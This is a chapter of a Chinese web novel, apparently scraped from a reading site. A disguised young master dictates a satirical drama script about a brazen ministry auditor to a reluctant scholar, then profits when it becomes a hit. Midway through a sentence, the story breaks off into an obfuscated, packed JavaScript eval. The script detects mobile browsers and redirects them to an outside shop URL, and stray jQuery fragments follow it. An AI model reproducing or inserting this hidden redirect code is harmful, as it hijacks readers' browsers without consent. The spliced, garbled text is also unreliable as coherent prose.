38. 一份话本的雇佣合同
作品:《疯批权臣每天都想物理借根》 悦来客栈,天字号房虽说比通铺强些,但那股陈年的霉味儿还是直往鼻子里钻。
周清臣端着药碗,轻轻吹开浮在上面的黑褐色药渣。
热气熏得他眼睛有些发酸。
床上的子明呼吸稍微平稳了些,那二两银子换来的药确实管用。
剩下的半两银子买了几个扎实的肉饼,几人分食后,肚子里总算有了点底气,不再像前几日那样饿得心慌。
笃笃。
房门被敲响了两声,节奏不急不缓。
周清臣手里的动作顿了一下,放下药碗,起身去开门。
门外站着沈怨,身后跟着那个叫李狗的随从。
沈怨的目光在屋里扫了一圈,像是在清点库房里的存货。
“看来安顿得差不多了。”
周清臣侧身让开路,神情有些不自然。
他拱了拱手。
“多谢沈公子预付的银两,在下……笔墨都备好了。”
沈怨也不客气,径直走到桌边坐下。
李狗很机灵,反手带上了房门,像尊门神似的守在外面。
“那便开始吧。”
沈怨从怀里掏出一本看着有些年头的册子,翻了几页,似乎是在确认今日的工作量。
“书名,《霸道上司爱上我》。”
周清臣刚蘸饱墨汁的笔尖在纸上方悬住了。
一滴墨汁顺着笔锋滑落,在宣纸上晕染开一个小黑点。
他深吸了一口气,告诉自己,这只是为了那二十两尾款。
沈怨没理会他的停顿,语气平淡得像是在念早已烂熟于心的账本。
“第一章,天降‘活阎王’。”
“主角沈不平,初入户部,年方十七。入职头一天,当着满堂官吏,指着户部尚书的鼻子。”
沈怨顿了顿,手指在桌面上轻轻敲了一下。
“说:‘你这账做得,连猪看了都要摇头。’”
咳咳咳!
周清臣一口气没顺过来,捂着嘴剧烈咳嗽起来,手里的笔差点甩出去。
他瞪大了眼睛看着沈怨,满脸的不可思议。
“沈……沈公子,这是否有些过了?初入官场便如此顶撞上官,这在礼法上……”
沈怨抬起眼皮,淡淡地扫了他一眼。
“我雇你是来做记录的,不是来做文章批注的。”
“看书的人不关心礼法,他们只关心自己平日里想做却不敢做的事。”
她稍微停顿了一下,视线落在周清臣那张涨红的脸上。
“刚才你反驳了三十个字,按照之前的约定,扣三十文。”
周清臣张了张嘴,最后还是闭上了。
他重新铺开一张纸,咬着牙,将那句大逆不道的话落在了纸上。
沈怨继续念道。
“尚书大怒,喝道:‘竖子大胆!’当即命左右拿下。沈不平不慌不忙,从怀里掏出一把三尺长的算盘。”
“他说:‘拿下我,需动用两名衙役,耗时半刻。此期间衙役无法巡逻,造成人力资源浪费,折银约三钱。’”
“‘若将我打伤,医药费、误工费,外加我的精神损失费,合计不低于五十两。’”
“‘若不慎将我打死,朝廷损失一名未来的理财能手,此项隐形资产流失,不可估量。’”
“‘综上,尚书大人为了逞一时口舌之快,造成如此巨大的财政赤字,这笔买卖,您亏大了。’”
周清臣一边写,一边觉得脑子里有什么东西正在崩塌。
这写的哪里是官场?
这分明是市井商贾在菜市场讨价还价。
可偏偏这种歪理邪说里,又透着一股子让他无法反驳的逻辑。
好像……还真有点道理?
“尚书被噎得哑口无言。此时圣上驾到,听闻此事,竟抚掌大笑:‘好!好一个算盘打得比脑子还快的奇才!’当即下令,擢升沈不平为户部主事,专司查账。”
周清臣笔下一顿,抬头看向沈怨,眼神复杂。
“圣上……真的会这么做吗?”
沈怨没接话,只是眼神示意他继续。
门外的李狗探进半个脑袋,压低声音提醒:“周公子,字数又要超了。”
周清臣脸色一僵,只得埋头继续写,笔尖划过纸张的沙沙声在安静的房间里显得格外刺耳。
接下来的两个时辰,周清臣觉得自己像是在经历一场漫长的煎熬。
那个叫“沈不平”的主角,在户部简直就是个疯子。
“沈不平上任首日颁布新规:卯时点卯,迟到一刻者,扣半月俸禄,并于衙门口大声朗读自我检讨。”
“有同僚阳奉阴违,沈不平连夜计算出此人全年的‘摸鱼数据’,精确到每天喝几杯茶、去几趟茅房,最后得出结论:‘此人年俸五十两,产出不足五两,属于严重不良资产,建议剥离。’”
“有副官送礼求情,沈不平收下礼物,当场估价入账,记作‘额外收入’,次日上朝时连同账本一并上交国库,并建议圣上给那副官颁发‘纳税模范’的锦旗。”
写到这里,周清臣的手指有些发麻。
这不是话本。
这简直是一本《如何把同僚逼疯的实用指南》。
但他不得不承认,当他抛开那些圣贤书的教诲,仅仅作为一个旁观者去记录这些荒诞情节时,心里竟然隐隐生出一丝快意。
那种看着平日里高高在上的大人物吃瘪的快意。
“最后一章,沈不平怒斥邻国使臣是‘会走路的坏账’。”
沈怨念完最后一句,周清臣长出了一口气,感觉整个人都虚脱了。
他看着面前那一厚摞写满字的稿纸,眼神有些恍惚。
沈怨拿起稿纸,快速翻阅了一遍。
“字迹工整,没得说。”
她从怀里掏出钱袋,数出二十两银子,推到周清臣面前。
“这是尾款。”
周清臣看着那白花花的银子,喉结滚动了一下。
他伸手去拿,指尖碰到银子的瞬间,又像被烫到一样缩了回来。
“沈公子……”
他犹豫了半晌,还是忍不住问道。
“您写这些……究竟是为了什么?”
“为了钱。”
沈怨的回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239751|197673||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
答没有半分犹豫。
她将其中一份抄本递给门口的李狗。
“去城里最大的书坊,找老板谈。告诉他,不要稿费,只要三七分账,我七他三。不同意就换下一家。”
李狗抱着稿纸,像抱着个金元宝,一溜烟跑没影了。
周清臣看着沈怨笃定的侧脸,忍不住泼了盆冷水。
“如此……如此粗鄙之作,恐怕难登大雅之堂。”
沈怨看了他一眼,嘴角似乎勾起了一点弧度。
“周兄,你读了这么多年书,还没明白一个道理?”
“这世上,想看‘大雅之堂’的人,永远没有想看‘仇人倒霉’的人多。”
说完,她起身便走。
周清臣一个人坐在桌边,看着那堆银子,久久没有动弹。
……
三天后。
京城城门在望。
路边的一家酒肆里人声鼎沸。
沈怨和李狗刚一进门,就被里面的热浪冲得眯了眯眼。
酒肆正中的高台上,说书先生正讲得唾沫横飞。
“……要说那户部新来的活阎王沈不平,那叫一个狠!有个姓钱的员外郎,仗着是皇亲国戚,天天迟到早退,你们猜怎么着?”
说书先生一拍醒木,全场瞬间安静下来。
“沈不平直接在他家门口挂了个牌子,上书‘大周第一闲人’!还雇了几个乞丐,天天在他家门口唱莲花落,唱的全是他怎么偷懒耍滑!这才三天,那钱员外郎就哭着喊着求沈大人让他回去干活!”
“好!”
“痛快!就该这么治这帮吃干饭的!”
台下的酒客、商贩、脚夫们爆发出雷鸣般的喝彩声,铜板噼里啪啦地往台上扔。
李狗张大了嘴巴,呆呆地看着这一幕,然后猛地转头看向沈怨。
“公……公子!是咱们的书!”
人群里挤出一个胖乎乎的身影,满头大汗,脸上却笑得见牙不见眼。
正是那家书坊的刘老板。
“哎哟!沈公子!可算找着您了!”
刘老板跑到沈怨面前,双手奉上一个沉甸甸的钱袋。
“火了!全京城都火了!第一版三千册,两天就卖断了货!这是您那七成的份子,您点点!”
沈怨接过钱袋,在手里掂了掂分量,神色平静,仿佛这一切早在预料之中。
她转过头,视线穿过喧闹的人群,落在酒肆门口。
周清臣和他那几个同窗正站在那里。
周清臣听着那些被他视为“污言秽语”的文字从说书先生嘴里讲出来,引得满堂喝彩,脸色一阵青一阵白。
他一直引以为傲的“斯文”,此刻在这粗鄙的狂欢面前,显得有些摇摇欲坠。
沈怨收回目光,看向身旁一脸崇拜的李狗。
“记下来。”
“话本这门生意,利润率确实可观。”
她抬起头,望向远处夕阳下泛着金光的皇城,眼神里多了几分意味深长。
“去告诉刘老板。”
“加印十万册。”
“让这个故事,传得再快一点。”

